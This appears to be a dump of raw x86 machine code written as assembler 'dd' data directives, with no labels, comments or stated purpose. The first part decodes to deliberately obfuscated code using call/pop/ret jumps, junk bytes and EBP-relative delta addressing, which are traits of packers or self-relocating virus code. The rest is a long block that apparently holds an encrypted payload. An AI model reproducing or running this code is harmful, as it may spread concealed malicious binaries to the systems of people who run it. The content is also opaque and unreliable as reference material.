		dd 25BD8309h, 6440Bh, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 46A6239Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501174h
		dd 4D0B8h, 709D8D00h, 0FF0646A5h, 66585BD3h, 0F23C5BAh
		dd 586h, 6AF4BF00h, 0C08B05A5h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 33C35141h, 0D7CA1510h, 8B7A47DBh
		dd 1B858DDEh, 600647AAh, 0CBC28166h, 38F0FAAh, 0F000000h
		dd 9061CEB7h, 12E8h, 37B2C200h,	365DD0D1h, 0A9E23E10h
		dd 7A5BCB45h, 521F93DCh, 6E8h, 62F50A00h, 5F88CEDFh, 0E850595Fh
		dd 14h,	78E1D9D5h, 1CDB3E9Bh, 9AB839E8h, 2AE11BAFh, 33D8DCF9h
		dd 6E950h, 8B260000h, 73594925h, 0F905A5Ah, 7E9DAB7h, 0FB000000h
		dd 0DC215EADh, 858DCCA0h, 647A9D8h, 745BD8Bh, 958B0644h
		dd 6440271h, 89AFB750h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 958EEAC3h, 89FB8B66h
		dd 441E518Dh, 195FF06h,	106441Ch, 4408FD85h, 24448B06h
		dd 0DA8B6604h, 0AA038589h, 958B0647h, 6441DE1h,	824448Bh
		dd 0CE9h, 17400300h, 0D891D65Bh, 52213C4Eh, 1785897Ah
		dd 0E90647AAh, 6, 6A6E404h, 0BD8300A6h,	6441FA1h, 9A850F00h
		dd 60000000h, 8B61F9F9h, 441D4195h, 0E985C606h,	47064402h
		dd 0A258D89h, 0D5680644h, 8A99A210h, 243481F1h,	4D38B707h
		dd 0DDB1D981h, 0B5FF5C02h, 64417E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 8FC35545h, 0C669EC9Ah, 8DAFFD0Dh
		dd 4777AF85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FFB0850Dh, 0FE9D0h, 0B3470000h
		dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0A1858927h, 3106441Fh
		dd 442EF185h, 2DBD8306h, 6441Ch, 0B2850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 489166C3h, 5ACBDED9h, 5E99E58h, 0C7000000h, 987A8F87h
		dd 0C958509h, 0BF660644h, 85C60CE8h, 64402E9h, 159D8947h
		dd 68064400h, 0C81D89DCh, 0DE8h, 1C9B6600h, 1C3B41A8h
		dd 257AFA48h, 6056A382h, 815F5B61h, 3C3E2434h, 0BF0F4212h
		dd 0E9B5FFD7h, 6A064417h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0EE5EC350h,	89842E24h
		dd 442C5D9Dh, 0AF858D06h, 89064777h, 442CE1B5h,	0F9D0FF06h
		dd 1C2D8589h, 95290644h, 6441A6Dh, 1A7DBD83h, 0F000644h
		dd 12E85h, 0C6CB8B00h, 4402E985h, 6A5606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 738D9DC3h
		dd 0A5C3D42Dh, 0F9BD3163h, 0E8064406h, 4, 0D41F6D39h, 6E950h
		dd 4D5D0000h, 3F294F1Bh, 424448Bh, 28C0F60h, 57000000h
		dd 8B615Eh, 44891CB1h, 800F0424h, 16h, 10E8h, 5C8E1300h
		dd 19763CB5h, 80415F39h, 0F1B7FBCCh, 6A5859A4h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0FB66C352h, 0D787DFB1h, 8DB589CEh, 0FF06440Ah, 4417E9B5h
		dd 0C2816606h, 0BF0FB4A5h, 0AF858DD7h, 6A064777h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 2D31C353h, 0FF8E6DFAh, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 5D04D8F7h
		dd 0EDE7BB66h, 1091BD8Bh, 85890644h, 6441A7Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 41C35747h, 7C01EAFBh
		dd 81666EE5h, 0C626B8F7h, 4402E985h, 0B9666C06h, 7C6814DBh
		dd 60BC7F82h, 60C28B66h, 6CB95853h, 613D3001h, 24048161h
		dd 1E85EE07h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	90C35040h, 8D8B81C3h, 64432A5h,	2D7DB5FFh, 0BF0F0644h
		dd 8860FCFh, 52000000h,	2EF5B529h, 8D5A0644h, 443A6585h
		dd 0B5958B06h, 0FF064432h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0ED52F287h
		dd 10BEE167h, 0B5896076h, 6441C85h, 8B6661F8h, 78589DAh
		dd 0E90647AAh, 0Eh, 132E4DEEh, 52D54EA3h, 9B2DD886h, 81669F5Dh
		dd 6A1527F1h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 9624793h,	2929B6C7h, 44302D85h, 4DB56806h
		dd 0ACB6A4B1h, 4B240481h, 0BB5B4EC2h, 6A864CBEh, 44E89268h
		dd 81C88B33h, 0E8922434h, 0B5893345h, 6440675h,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 3A3C59C3h, 19038E30h, 95FF1B8Ch, 6442BDDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 31C35040h, 138589F8h
		dd 660647AAh, 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 9FC35747h, 1F6D9589h,	0ED680644h, 66F49749h
		dd 813E58BBh, 0B6132404h, 6A0B69h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 958996C3h, 6441D11h
		dd 0FA51D281h, 6652711Eh, 905BF98Bh, 1A800Fh, 52500000h
		dd 0FE9h, 0E3435100h, 0CEA6C57h, 6BD1DF0h, 0F5F31FC3h
		dd 585A310Fh, 9096B150h, 2DDAF281h, 0B6A365Eh, 0DFD9D8Bh
		dd 0BD890644h, 6440A15h, 0A9E0858Dh, 10E90647h,	20000000h
		dd 0A719AC63h, 8587FDF5h, 35964F62h, 90E8C06Ch,	0EEDD04B9h
		dd 5250503Ch, 2F47BF66h, 0AE8310Fh, 40000000h, 31051B9h
		dd 807D4E7Bh, 0DA8EBB28h, 5A591E48h, 85299058h,	6441CB1h
		dd 1FA195FFh, 0BE600644h, 44681EB9h, 0B58D61FCh, 647A9EAh
		dd 6D58D89h, 0E8960644h, 5, 0C046032Dh,	8B6650C2h, 505B59FAh
		dd 96CE8B66h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0A9C35040h, 0B357B0D7h,	80DAB70Fh, 0E85069E3h
		dd 0Ah,	35BB897Ch, 0EA9E6FFFh, 0CA8BC2D6h, 24048959h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FAC35545h, 0FCFCF13h
		dd 68Dh, 75BD8900h, 0FF064402h,	441C2D95h, 0C59D8B06h
		dd 8906440Dh, 4404219Dh, 53D0FF06h, 1254F781h, 8B5F3E45h
		dd 47AA13B5h, 0E823B606h, 0Ah, 0F7EE836Eh, 7E0B20D3h, 0B70F4BA3h
		dd 85C759DBh, 647AA0Bh,	0
		dd 7C1958Bh, 7E800644h,	840F0020h, 2B3h, 1DE59529h, 6A600644h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1D8BC357h, 0D460E516h, 20468D94h,	0C79958Bh
		dd 85890644h, 647AA0Fh,	1CD9BD01h, 0EE90644h, 81000000h
		dd 0C82D4D9h, 6660401Eh, 0DF9CC281h, 388061h, 0FFEF850Fh
		dd 8B66FFFFh, 28E9D9h, 0BF660000h, 6A48267Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D183C353h, 5AB3DDE4h, 3880EE30h, 72840F5Ch,	89000000h
		dd 44298D9Dh, 2F388006h, 63840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B16A18C3h
		dd 3420D698h, 0F853B56h, 0F0647AAh, 0FFFF9583h,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D7BA37C5h, 4FFE48Bh, 880F3B5Ah, 4, 258EB966h, 982F3CB9h
		dd 840F405Ah, 0Ah, 5E9h, 86BE5F00h, 0BD8368BCh,	647AA17h
		dd 9A840F00h, 0BF000000h, 1F5ACC80h, 8B605790h,	7E8DAh
		dd 73330000h, 25330CFBh, 5A615E21h, 0FE850h, 6F8A0000h
		dd 0D701E33h, 2627DB77h, 36CDCFE1h, 43BF6600h, 29905F7Dh
		dd 440D6D9Dh, 17850306h, 0E80647AAh, 0Eh, 0E4CC7BE9h, 81F2442Eh
		dd 0DA9AD5C6h, 0B70F5AA0h, 0C659DEh, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 5E85855h, 0A9000000h
		dd 50E6710Bh, 10E8h, 0B6063600h, 0D4EE4E1Ah, 0B207224Ah
		dd 0A1CD504Ah, 5BCE8B43h, 8B66905Ah, 0FB8B50CAh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 1B0C63C0h, 8D3D8BBFh, 9D958B3Ah, 0FF064410h,	47AA03B5h
		dd 795FF06h, 6A0647AAh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1AC6C350h, 60C61BBEh
		dd 2DB18D89h, 0B610644h, 6A850FC0h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 7E66C357h, 6FECC0D0h, 0BB606905h, 2C19C94Dh,	9B589h
		dd 66610644h, 2361CB81h, 0A5B96661h, 0B85C7B2h,	10647AAh
		dd 0FC000000h, 3EE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 2DE06BAFh, 850961F3h
		dd 6442E9Dh, 11CC681h, 0B70F0000h, 6D8D8BD7h, 0E9064418h
		dd 0FFFFFD46h, 68C88B66h, 3EDB53D3h, 81F88B66h,	0D3D32434h
		dd 8BF83EDBh, 4403018Dh, 6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E97FC351h
		dd 11h,	0DDDA6918h, 0CBF7D619h,	9640FC2Dh, 7E8EA30h, 13B5FF98h
		dd 0F0647AAh, 95FFD3BFh, 6441A7Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 21C35141h, 0AF9E9AD1h, 3D9589DFh
		dd 0E9064400h, 7, 0F849A22Fh, 8B192165h, 47AA0B85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 1F436DA1h, 0BF50A773h, 4E7DDh, 3240489h, 44257D95h
		dd 0F0DA8006h, 0AA1B858Dh, 6A0647h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0E850E2C3h
		dd 11h,	5440CAC4h, 13DAFF7Ah, 0B19FBAAFh, 0AB30DDBBh, 59CC8A28h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0AAA3C350h, 0A0637402h, 1D219589h
		dd 858D0644h, 647A9D8h,	17B1958Bh, 66500644h, 489DE8Bh
		dd 6890F24h, 89000000h,	442BD9B5h, 3DDF8006h, 261995FFh
		dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FBAD2C3h, 882h, 2840F00h, 56000000h, 0E381665Fh
		dd 0C08B4375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0DBC35545h, 50A6BA31h, 9D0930FFh, 6442865h, 20CDBD83h
		dd 75000644h, 25BD8309h, 6440Bh, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 46A68A9Dh, 5BD3FF06h, 25BD8358h, 6440Bh
		dd 53501174h, 4D0B8h, 899D8D00h, 0FF0646A5h, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0A0DEC351h, 49958B7Eh, 6A06441Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0CBC9C356h, 90E1C10Fh, 8BB64522h, 458D29C0h,	5806440Ch
		dd 0F90008C2h, 13E9h, 0FBB2DE00h, 63D86C2Dh, 9286BCA4h
		dd 1BEBE2A0h, 0FD050B7Dh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0BBFB20C3h, 3529052Fh
		dd 75BD8995h, 8D06441Ah, 47AA2D85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0BE9600Eh
		dd 11000000h, 0CD32DEAEh, 0B5F1D6FBh, 8529F7BFh, 6443269h
		dd 8589F561h, 6442BD5h,	39EBh, 2CC00BFh, 2E400BFh, 0BFh
		dd 50EC0000h, 5C0B472Ah, 544F7633h, 50642222h, 17E44F29h
		dd 39A84E23h, 75267609h, 4D7F220Bh, 57FD5208h, 5C3E4A13h
		dd 59264626h, 0D143222Dh, 39892244h, 61077A67h,	3D4666CEh
		dd 3D1566C6h, 3998225Ch, 6D8F7207h, 0F6F0C3C8h,	5F9D50AFh
		dd 36CEAEF9h, 39C420C8h, 0B2ACA947h, 6B314887h,	399821AFh
		dd 0FA160247h, 1D72AB1Dh, 1D57A343h, 39893843h,	0FA966047h
		dd 85A74CB8h, 6AB11F16h, 6748A921h, 19819FC4h, 4C262403h
		dd 1CAEA14Eh, 398F664Ch, 6A943B33h, 80DAE2CCh, 0B0312243h
		dd 7D9AD7C2h, 76D1AF41h, 0C62064EFh, 0BA4B7994h, 7D8207FAh
		dd 2EB02241h, 80DA7117h, 0B0312243h, 7D9AD7C2h,	7D1AF41h
		dd 0C62064E2h, 8B4B7994h, 5414ABBFh, 0B2C26653h, 6F624887h
		dd 393121AFh, 0FAC60247h, 1D38AB19h, 1D62A343h,	39133543h
		dd 0FADF6447h, 0D51E3C7Ah, 3B8BA781h, 53672403h, 3A707047h
		dd 194C2247h, 0B07CE11Dh, 0B8170613h, 238D0603h, 7BC42247h
		dd 7CB5E115h, 82CF576Eh, 47674A07h, 2BA5B081h, 0B1262247h
		dd 40C0DC1Ah, 9D503C1Dh, 0C74A2705h, 2A737759h,	1D35A3EBh
		dd 307A1B14h, 0D0F9DDB2h, 53206650h, 3AFB7747h,	19892247h
		dd 0B099E11Ah, 0B866062Bh, 23350603h, 7C982247h, 7F3FE112h
		dd 194B4EF7h, 0B4089362h, 7EFE8DC2h, 0B929A241h, 3908F2B8h
		dd 3932CA11h, 67B82247h, 4DC57C84h, 7DA72663h, 390A2663h
		dd 6FCF2247h, 0BD140084h, 68583F00h, 3070AF4Ch,	53C72403h
		dd 25F64443h, 1E7F4A09h, 0C998B6D1h, 9EAD26C6h,	6FAF4BAFh
		dd 0E0F99821h, 0BA624A18h, 34700445h, 0ED4C2247h, 5E1E6C3Bh
		dd 0D6F37FC5h, 201A54A1h, 0B2B09C21h, 1D56A318h, 1F33A3F8h
		dd 0AB497BFDh, 394ACB5Ah, 6E482247h, 0BA3BD296h, 0A400222Dh
		dd 3F8020A2h, 0BCEBF2B8h, 3F750C96h, 8ECCA7CEh,	39262400h
		dd 3925CA16h, 60332247h, 75007B84h, 7D452663h, 39782663h
		dd 68702247h, 0F95EB84h, 700E2207h, 3925A548h, 0B2752247h
		dd 3C71A9B4h, 39C4208Bh, 8E3AA7CEh, 0F9B22400h,	651DAB5Fh
		dd 0A4A65F0h, 3BCA9B87h, 93E02247h, 398927AEh, 0C0D2FB47h
		dd 39087C37h, 3932CA11h, 67B82247h, 4DC57C84h
		dd 7DA72663h, 39092663h, 6FCF2247h, 40B7384h, 83EA76F9h
		dd 2560BFCEh, 0BC5E2403h, 3F0820AEh, 68264804h,	391321AFh
		dd 0FAD00247h, 1D88AB1Eh, 1D26A343h, 39313E43h,	0FAC96347h
		dd 3294160h, 0EF9419E8h, 0E9A42D1Dh, 398926AFh,	5EAF7C47h
		dd 3971CADBh, 60FF2247h, 4E89D3BDh, 0C7D5A188h,	0C95341B0h
		dd 4A169B0Bh, 675EA962h, 59967217h, 86532D26h, 73648467h
		dd 7D137A1Dh, 39C72663h, 6B764227h, 61491348h, 398929AFh
		dd 6C15C047h, 185DCFFDh, 0A10D75B4h, 0FB13431Eh, 1D08AB26h
		dd 8CD97A43h, 3F5735AEh, 0D1DF222Dh, 39C42244h,	67A17C67h
		dd 3D1556CEh, 3DBC66C6h, 394C225Ah, 0C5E57401h,	79A43663h
		dd 9FC650FCh, 512108h, 0B4646662h, 7E468DC2h, 0C649A941h
		dd 684C4897h, 392621AFh, 0FA4A0247h, 1DC5AB1Eh,	1D80A343h
		dd 39623A43h, 0FA606347h, 2A32388Dh, 0C3FB2DF8h, 34E7A7CEh
		dd 39792403h, 398ACA10h, 66E42247h, 45EB7D84h, 7DB02663h
		dd 398E2663h, 6E0B2247h, 91954984h, 21F6BFCEh, 0BC042403h
		dd 3F80114Eh, 0D131222Dh, 39312244h, 625B7967h,	3D687ECEh
		dd 3D0266C6h, 3913225Eh, 2B4A7104h, 0DFBBEFC9h,	0D8F729C1h
		dd 0B0376648h, 7DB4DBDAh, 0F0F92B41h, 0B0206648h, 7D0B07C2h
		dd 84027241h, 3F800E66h, 0D0E7E418h, 6A376645h,	5111C4C7h
		dd 0A0F41B64h, 758BD9F8h, 1D17A324h, 5B702DF2h,	2E2D97B8h
		dd 39082403h, 3932CA17h, 61B82247h, 7DC57A84h, 7DA72663h
		dd 390E2663h, 69C92247h, 6EFCBC84h, 18189CACh, 0B49FF9E7h
		dd 7EEF8DC2h, 68C1A941h, 0C6206657h, 149EA997h,	0B08F6665h
		dd 7DD86FC2h, 6A624841h, 393121AFh, 0FAC30247h,	1D10AB1Ch
		dd 1D62A343h, 39133943h, 0FADA6147h, 2725E58Dh,	41B1AD11h
		dd 8AB69821h, 19C9AFCEh, 0BC8A2403h, 3F6220AEh,	6F134814h
		dd 398921AFh, 0FA9A0247h, 1D16AB19h, 1D75A343h,	39983543h
		dd 0FA1A6447h, 0FE99E704h, 0DABF95FEh, 9634A4Ch, 6B92F4E1h
		dd 39622DAEh, 46ACB147h, 3C25E071h, 0CB4525F8h,	2EFDE5D3h
		dd 0D92781Eh, 877D7B63h, 6EC44849h, 396221AFh, 0FA6E0247h
		dd 1DE4AB18h, 1D08A343h, 39263A43h, 0FA446547h,	673DB56Bh
		dd 0D071DD6Dh, 53646650h, 3AD97347h, 19982247h,	0B015E11Eh
		dd 0B822060Bh, 21170603h, 78892247h, 0DE94E116h, 0B9889B5Ch
		dd 0F6B0608Eh, 23554F02h, 0B42DDA27h, 7E518DC2h, 3902CA41h
		dd 29E42247h, 0CE541E48h, 28567392h, 9B2F373Bh,	8052DCE5h
		dd 2934AE8Eh, 53F6DD18h, 3AFB7047h, 19892247h, 0B09EE11Dh
		dd 0B8660613h, 24350603h, 7B982247h, 0D361E115h, 40874184h
		dd 9B3CE06Fh, 0B077C4C7h, 7DC2BBC2h, 0CFE34441h, 843A26B6h
		dd 3FDC0DA2h, 3BA5A781h, 0D0612403h, 3913224Ah,	0F227D699h
		dd 197EB4CDh, 9D30716Fh, 19544A8Ah, 0E722B2D7h,	0B82BE517h
		dd 0C4EA0673h, 39790509h, 398ACA12h, 64E42247h,	55EB7F84h
		dd 7DB02663h, 39802663h, 6C092247h, 0B2EF8684h,	861C2F61h
		dd 0D03CDD95h, 53C26650h, 3A8A7747h, 19312247h,	0B0C5E11Ah
		dd 0B848062Bh, 24220603h, 7C132247h, 1397E112h,	38BD1A67h
		dd 0E6396CB6h, 0D9C7D8F8h, 961DAF3Eh, 534A6530h, 3ACE7747h
		dd 19132247h, 0B0D4E11Ah, 0B8C0062Bh, 23660603h, 7C312247h
		dd 19DE112h, 3B67FA23h,	0B2F6DDECh, 896ABB5h, 0D18F666Ah
		dd 39C4224Ah, 13692EB4h, 0BDB1EBCCh, 4686EA30h,	3940CA86h
		dd 0F7EB2247h, 944ED3C9h, 0A3CBC187h, 0EA4F8B26h, 0BCA47819h
		dd 3F7520AEh, 68984800h, 394C21AFh, 0FA7F0247h,	1D5FAB1Eh
		dd 1DCDA343h, 39C43643h, 0FA336347h, 0C08E2D2Fh, 0DAF0F2CCh
		dd 364EE3B2h, 39263ACDh, 0DA994247h, 39892CAFh,	4A770647h
		dd 99C57C3Ch, 6B4FFAE6h, 60645326h, 1D48A326h, 463C38D0h
		dd 0D145222Dh, 39892244h, 67077C67h, 3D4656CEh,	3D1566C6h
		dd 3998225Dh, 7C8F7401h, 0E93577F7h, 0B8756088h, 0C6029E81h
		dd 7DD3CBF2h, 0EAD52D41h, 4E9EA7CAh, 0B4AB2400h, 3F083632h
		dd 3FCFF2B8h, 0AD132247h, 0E8050D8Bh, 441AB18h,	5364666Dh
		dd 3AD97447h, 19982247h, 0B012E119h, 0B8220633h, 2D170603h
		dd 7F892247h, 0C11EE111h, 3B8BA781h, 53762403h,	3A707447h
		dd 194C2247h, 0B078E119h, 0B8170633h, 258D0603h, 7FC42247h
		dd 92CE111h, 2A593D75h,	0D1050232h, 394C2243h, 93EB1E1Ah
		dd 69D9A921h, 398928AEh, 0F6BA5D47h, 6B6468C7h,	0B212829Eh
		dd 889C0603h, 694CA945h, 392DCA15h, 6F3D2247h, 0E07B4E58h
		dd 78140747h, 21DD44D4h, 83E7C1Bh, 27277017h, 361A9EB9h
		dd 39A92D76h, 63132247h, 0B0D1781Fh, 59C00603h,	0BF6DE8CCh
		dd 39312245h, 61F9C9CDh, 394C32AFh, 0A4528647h,	3D760F6Dh
		dd 5F3994Fh, 0F9956BEAh, 7B8DA360h, 674D441Bh, 2E7197B8h
		dd 39262403h, 3925CA10h, 66332247h, 45007D84h, 7D452663h
		dd 39752663h, 6E762247h, 55E43084h, 30D909DEh, 0B420664Ah
		dd 7E648DC2h, 0C63E2D41h, 39C42BAEh, 15BA6D47h,	7EAEC22Ah
		dd 0E9670AC9h, 394FA848h, 0B2402247h, 0CC96AB8Fh, 0B88F666Eh
		dd 0C2B4E085h, 53B2DD73h, 3AD97747h, 19982247h,	0B011E11Ah
		dd 0B822062Bh, 2F170603h, 7C892247h, 650BE112h,	0B20475E3h
		dd 0B4BA78BDh, 3FDC328Ah, 941A7CEh, 0B2402403h,	0E19F4489h
		dd 0D1DB222Dh, 39C42244h, 63A17867h, 3D1576CEh,	3DBC66C6h
		dd 394C2250h, 27E57005h, 59973785h, 16F4BFCEh, 84F52403h
		dd 3F263B9Ah, 0ACB84226h, 3FDC2B0Eh, 394C24AFh,	0A41B9E47h
		dd 0B8D84FBEh, 6FE6599Eh, 1DA57822h, 6A624843h,	393121AFh
		dd 0FAC30247h, 1D10AB1Ch, 1D62A343h, 39133F43h,	0FADA6147h
		dd 9BDBCED7h, 0E2F7F29Eh, 33C4D3CAh, 8C1C2D87h,	8C4C2244h
		dd 0D0A3E409h, 76156645h, 0D1D8222Dh, 39C42244h, 60A17B67h
		dd 3D156ECEh, 3DBC66C6h, 394C2251h, 0F4E57306h,	0BD1CC18Ch
		dd 39892241h, 26C9B7CEh, 920A2403h, 6EBD5539h, 1D9CA31Eh
		dd 0A44CC5Eh, 0D171222Dh, 39132244h, 664A7D67h,	3DE05ECEh
		dd 3D4666C6h, 3931225Ah, 0E65B7500h, 0D6FAB70Ah, 9C4CDDBh
		dd 0FCA6A901h, 368F664Ah, 39C422C9h, 0FFFE9847h, 8CCE53F7h
		dd 3FDC35AEh, 21CD9FCCh, 0BCAB2403h, 3F5455E8h,	398932AFh
		dd 51CCA947h, 0CA55B625h, 12C0766Ah, 8913D152h,	394BCABCh
		dd 0C7D52247h, 93018BEEh, 1C04A91Ch, 66C2665Dh,	53B2DD19h
		dd 3AD97247h, 19982247h, 0B014E11Fh, 0B8220603h, 2C170603h
		dd 79892247h, 0E2EDE117h, 1DA2A1BEh, 0D162222Dh, 39982244h
		dd 628F7967h, 3D027ECEh, 3D3766C6h, 3989225Bh, 20077104h
		dd 0D4A65788h, 3D6892DEh, 0B048A921h, 7D4CA3C2h, 2B994441h
		dd 3496A963h, 538F6677h, 3A2C7547h, 19622247h, 0B06EE118h
		dd 0B89C063Bh, 20480603h, 7E262247h, 0B87DE110h, 0FEFEBB6Dh
		dd 39C2A648h, 0B4EB2247h, 3F751046h, 39982FAEh,	6768FC47h
		dd 22A3445Dh, 0C2B2F740h, 0A402354Dh, 3F800BB2h, 0D134222Dh
		dd 39312244h, 675B7C67h, 3D6856CEh, 3D0266C6h, 3913225Ah
		dd 2B4A7401h, 93C8C6FDh, 0B16938F2h, 3920CBFCh,	0E8BF2247h
		dd 0E37489E7h, 71E52B01h, 76A002ECh, 7AF7B876h,	0D195222Dh
		dd 39622244h, 60F27B67h, 3DBC6ECEh, 3D6866C6h, 3926225Bh
		dd 0F4D07306h, 17126A54h, 0E4754B96h, 0B2999D48h, 0B2C2A95Ch
		dd 6F98485Ch, 394C21AFh
		dd 0FA780247h, 1D67AB19h, 1DCDA343h, 39C43743h,	0FA346447h
		dd 31D8E539h, 75982247h, 0B2138175h, 3664AAABh,	2298D1F8h
		dd 3040BFCEh, 0E1F72403h, 1297AF4Ch, 0A4B82403h, 3FDC21FAh
		dd 0D11E222Dh, 39262244h, 63D07867h, 3DAD76CEh,	3DE066C6h
		dd 3962225Bh, 0CF27005h, 19E58CC9h, 0FA1389D2h,	0D8A3ABB2h
		dd 0FF156644h, 7D8BCBC2h, 39AE6541h, 3961CA16h,	60112247h
		dd 75117B84h, 7DCD2663h, 393D2663h, 68522247h, 0D9B94E84h
		dd 0D217B23Fh, 6FAF4A6Dh, 36D974C3h, 1C982247h,	0BA3632F5h
		dd 284C5ADDh, 79A1D79Dh, 1D3626EBh, 63A16BCDh, 0E54626C6h
		dd 535078C1h, 3A707547h, 194C2247h, 0B079E118h,	0B817063Bh
		dd 208D0603h, 7EC42247h, 0CA9FE110h, 0D7606D14h, 8C671BF1h
		dd 3F0835AEh, 0D171222Dh, 39132244h, 664A7D67h,	3DE05ECEh
		dd 3D4666C6h, 3931225Fh, 0A5B7500h, 186AC572h, 39262AAEh
		dd 0BC0CE747h, 0FD2522CDh, 9641AFBDh, 0B9646530h, 0E9CE22B6h
		dd 0B0669D48h, 7D6113C2h, 6A264841h, 391321AFh,	0FAD20247h
		dd 1D98AB1Ch, 1D26A343h, 39313943h, 0FACB6147h,	51ECBACCh
		dd 77F62E8Dh, 69134807h, 398921AFh, 0FA9C0247h,	1D26AB1Fh
		dd 1D75A343h, 39983B43h, 0FA1C6247h, 37D1E199h,	0F7A9526Dh
		dd 0B2DF1531h, 53C4A947h, 3A8A7747h, 19312247h,	0B0C5E11Ah
		dd 0B848062Bh, 2D220603h, 7C132247h, 0B015E112h, 7DE82BC2h
		dd 6C624841h, 393121AFh, 0FAC50247h, 1D20AB1Ah,	1D62A343h
		dd 39133743h, 0FADC6747h, 0BCCBA1CBh, 39622242h, 0C99E22F9h
		dd 0F025A906h, 364A6651h, 392624CAh, 9CAEA947h,	0D08F665Ch
		dd 39C42372h, 0D130222Dh, 39312244h, 635B7867h,	3D6876CEh
		dd 3D0266C6h, 3913225Dh, 0CA4A7005h, 0B2EE294Bh, 0EAE9A28Eh
		dd 8E4BA7CAh, 84132400h, 3F080B12h, 982B9D17h, 3D9A4CDDh
		dd 0C9024463h, 3B65B7B8h, 39082403h, 3932CA10h,	66B82247h
		dd 45C57D84h, 7DA72663h, 39062663h, 6ECE2247h, 59BC7484h
		dd 803B7CEh, 0B4502403h, 7E2FA2DAh, 1D96A241h, 4B9C4217h
		dd 5979FC55h, 81EFFACCh, 58A50274h, 59463ECEh, 26B497CCh
		dd 6B202403h, 580C2C16h, 0D0464217h, 39132253h,	0B8600DA8h
		dd 0F40C7E54h, 0E4457A4Eh, 0B2A1E243h, 754BC118h, 394CA748h
		dd 83472247h, 15497E85h, 1D8DAB26h, 0D192222Dh,	39622244h
		dd 67F27C67h, 3DBC56CEh, 3D6866C6h, 39262250h, 0E1D07401h
		dd 3632BBA1h, 39C424CBh, 77A3A347h, 0C67D7270h,	7D840FD2h
		dd 0B6437041h, 39262251h, 391332AFh, 0D73F9047h, 7CF9964Bh
		dd 0F7330D40h, 8371926Dh, 0B0C77C6Dh, 7D4CA3C2h, 6E264841h
		dd 391321AFh, 0FAD60247h, 1DB8AB18h, 1D26A343h,	39313B43h
		dd 0FACF6547h, 9F36A708h, 8E29038Bh, 0D096E4BCh, 6A8F6645h
		dd 0F433F9h, 3966CA1Dh,	0BD4E2247h, 87FE88C0h, 0B21C1838h
		dd 1D62A990h, 3A942D43h, 5F892247h, 394FE8CCh, 0B090A921h
		dd 0D1350603h, 39982256h, 91B2B22Ah, 37DC9624h,	0FC051F70h
		dd 0DBDE8B13h, 0F27A444Fh, 0B23A7BB7h, 7D3D5BCAh, 0D02DDD41h
		dd 534A6650h, 3ACE7747h, 19132247h, 0B0D4E11Ah,	0B8C0062Bh
